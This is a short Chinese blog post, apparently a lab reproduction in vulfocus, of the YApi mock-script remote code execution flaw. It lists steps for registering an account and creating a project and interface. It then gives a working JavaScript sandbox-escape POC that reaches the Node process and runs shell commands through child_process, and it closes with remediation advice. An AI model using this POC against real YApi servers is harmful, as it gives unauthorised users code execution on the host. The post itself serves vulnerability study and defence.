Yapi代码执行

背景:
API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

漏洞编号:

影响版本:

复现步骤:
1,打开漏洞环境vulfocus

2,访问页面随意注册一个账户

3,新建项目

4,添加接口

5,添加脚本,依次点击

6,脚本位置输入POC,点击保存

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ls /tmp && ps -ef").toString()

7,点击访问Mock地址

8,得到flag

修复建议:
1,关闭YAPI注册功能
2,删除恶意账户
3,回滚服务器快照
4,同步删除恶意mock脚本以防止二次攻击

posted @ 2022-01-10 15:18  Colin.B  阅读(83)  评论(0编辑  收藏  举报